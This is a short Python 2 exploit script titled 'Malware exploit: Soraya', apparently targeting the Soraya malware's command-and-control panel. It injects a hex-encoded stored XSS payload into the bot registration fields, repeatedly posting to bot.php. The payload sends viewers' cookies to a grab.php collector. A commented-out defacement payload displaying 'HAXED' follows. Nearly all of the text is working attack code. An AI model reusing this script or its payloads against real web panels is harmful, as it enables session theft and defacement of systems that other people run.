Malware exploit: Soraya

<code>import requests
import time

def StrToHex(string):
    hex_str=''
    for char in string:
        int_char = ord(char)
        hex_num = hex(int_char).lstrip("0x")
        hex_str+=hex_num
    return hex_str

ConnectUrl = 'http://localhost/something/bot.php'
UserString = 'rome0321'
HtmlInject = StrToHex("&lt;script&gt;document.location=\"http://localhost/grab.php?\"+document.cookie&lt;/script&gt;")
count = 0

PostData = {'mode':'1', 'uid':'ASS', 'osname':HtmlInject, 'compname':HtmlInject}
UserAgent = {'User-agent': UserString}

while True:
    count = count + 1
    print "The fire day - ", count
    requests.post(ConnectUrl, data=PostData, headers=UserAgent)
    time.sleep(60)

#&lt;script&gt;document.body.innerHTML="&lt;style&gt;body{visibility:hidden;}&lt;/style&gt;&lt;div style=visibility:visible;&gt;&lt;h1&gt;HAXED&lt;/h1&gt;&lt;/div&gt;";&lt;/script&gt;
</code>